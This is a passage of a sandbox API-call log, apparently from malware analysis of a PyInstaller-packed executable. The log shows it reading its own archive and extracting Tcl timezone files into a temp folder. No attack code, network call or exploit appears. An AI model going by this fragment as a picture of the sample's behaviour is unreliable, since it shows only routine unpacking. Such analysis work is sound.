[0039.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.609] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.609] CloseHandle (hObject=0x10c) returned 1 [0039.609] GetLastError () returned 0x0 [0039.609] SetLastError (dwErrCode=0x0) [0039.609] GetLastError () returned 0x0 [0039.609] SetLastError (dwErrCode=0x0) [0039.609] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.609] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.609] GetFileType (hFile=0x10c) returned 0x1 [0039.609] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.609] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.610] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.610] CloseHandle (hObject=0x10c) returned 1 [0039.610] GetLastError () returned 0x0 [0039.610] SetLastError (dwErrCode=0x0) [0039.610] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.610] GetFileType (hFile=0x10c) returned 0x1 [0039.610] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.610] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.610] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.610] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.610] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.610] CloseHandle (hObject=0x10c) returned 1 [0039.611] GetLastError () returned 0x0 [0039.611] SetLastError (dwErrCode=0x0) [0039.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.611] GetFileType (hFile=0x10c) returned 0x1 [0039.611] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.611] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.611] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.611] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.611] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.611] CloseHandle (hObject=0x10c) returned 1 [0039.611] GetLastError () returned 0x0 [0039.611] SetLastError (dwErrCode=0x0) [0039.611] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Johns") returned 73 [0039.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Johns" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_johns"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.611] GetLastError () returned 0x2 [0039.611] SetLastError (dwErrCode=0x2) [0039.611] GetLastError () returned 0x2 [0039.611] SetLastError (dwErrCode=0x2) [0039.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Johns", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Johns", lpFilePart=0x0) returned 0x48 [0039.611] GetLastError () returned 0x2 [0039.612] SetLastError (dwErrCode=0x2) [0039.612] GetLastError () returned 0x2 [0039.612] SetLastError (dwErrCode=0x2) [0039.612] GetLastError () returned 0x2 [0039.612] SetLastError (dwErrCode=0x2) [0039.612] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Johns") returned 73 [0039.612] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Johns" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_johns"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.612] GetFileType (hFile=0x10c) returned 0x1 [0039.612] htonl (hostlong=0xa52a0000) returned 0x2aa5 [0039.612] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.613] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.613] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xaa5, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xaa5, lpOverlapped=0x0) returned 1 [0039.613] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.613] CloseHandle (hObject=0x10c) returned 1 [0039.614] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.614] htonl (hostlong=0x30000000) returned 0x30 [0039.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.614] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.615] GetFileType (hFile=0x10c) returned 0x1 [0039.615] htonl (hostlong=0xa6505a00) returned 0x5a50a6 [0039.615] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f00a6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.615] htonl (hostlong=0x8d000000) returned 0x8d [0039.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0039.615] htonl (hostlong=0x8d000000) returned 0x8d [0039.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.615] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.615] htonl (hostlong=0x96000000) returned 0x96 [0039.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x96) returned 0x550600 [0039.615] htonl (hostlong=0x8d000000) returned 0x8d [0039.615] htonl (hostlong=0x96000000) returned 0x96 [0039.615] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.615] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.615] CloseHandle (hObject=0x10c) returned 1 [0039.615] GetLastError () returned 0x0 [0039.615] SetLastError (dwErrCode=0x0) [0039.615] GetLastError () returned 0x0 [0039.615] SetLastError (dwErrCode=0x0) [0039.615] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.615] GetFileType (hFile=0x10c) returned 0x1 [0039.616] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.616] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.616] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.616] CloseHandle (hObject=0x10c) returned 1 [0039.616] GetLastError () returned 0x0 [0039.616] SetLastError (dwErrCode=0x0) [0039.616] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.616] GetFileType (hFile=0x10c) returned 0x1 [0039.616] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.616] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.616] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.616] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.617] CloseHandle (hObject=0x10c) returned 1 [0039.617] GetLastError () returned 0x0 [0039.617] SetLastError (dwErrCode=0x0) [0039.617] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.617] GetFileType (hFile=0x10c) returned 0x1 [0039.617] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.617] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.617] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.617] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.617] CloseHandle (hObject=0x10c) returned 1 [0039.617] GetLastError () returned 0x0 [0039.617] SetLastError (dwErrCode=0x0) [0039.617] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Kitts") returned 73 [0039.617] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Kitts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_kitts"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.618] GetLastError () returned 0x2 [0039.618] SetLastError (dwErrCode=0x2) [0039.618] GetLastError () returned 0x2 [0039.618] SetLastError (dwErrCode=0x2) [0039.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Kitts", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Kitts", lpFilePart=0x0) returned 0x48 [0039.618] GetLastError () returned 0x2 [0039.618] SetLastError (dwErrCode=0x2) [0039.618] GetLastError () returned 0x2 [0039.618] SetLastError (dwErrCode=0x2) [0039.618] GetLastError () returned 0x2 [0039.618] SetLastError (dwErrCode=0x2) [0039.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Kitts") returned 73 [0039.618] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\St_Kitts" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\st_kitts"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.619] GetFileType (hFile=0x10c) returned 0x1 [0039.619] htonl (hostlong=0x96000000) returned 0x96 [0039.619] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.619] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x96, lpOverlapped=0x0) returned 1 [0039.620] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.620] CloseHandle (hObject=0x10c) returned 1 [0039.621] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.621] htonl (hostlong=0x30000000) returned 0x30 [0039.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.621] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.621] GetFileType (hFile=0x10c) returned 0x1 [0039.621] htonl (hostlong=0x33515a00) returned 0x5a5133 [0039.621] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f0133, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.622] htonl (hostlong=0x98000000) returned 0x98 [0039.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0039.622] htonl (hostlong=0x98000000) returned 0x98 [0039.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.622] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.622] htonl (hostlong=0xb5000000) returned 0xb5 [0039.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x550600 [0039.622] htonl (hostlong=0x98000000) returned 0x98 [0039.622] htonl (hostlong=0xb5000000) returned 0xb5 [0039.622] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.622] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.622] CloseHandle (hObject=0x10c) returned 1 [0039.622] GetLastError () returned 0x0 [0039.622] SetLastError (dwErrCode=0x0) [0039.622] GetLastError () returned 0x0 [0039.622] SetLastError (dwErrCode=0x0) [0039.622] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.622] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.622] GetFileType (hFile=0x10c) returned 0x1 [0039.623] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 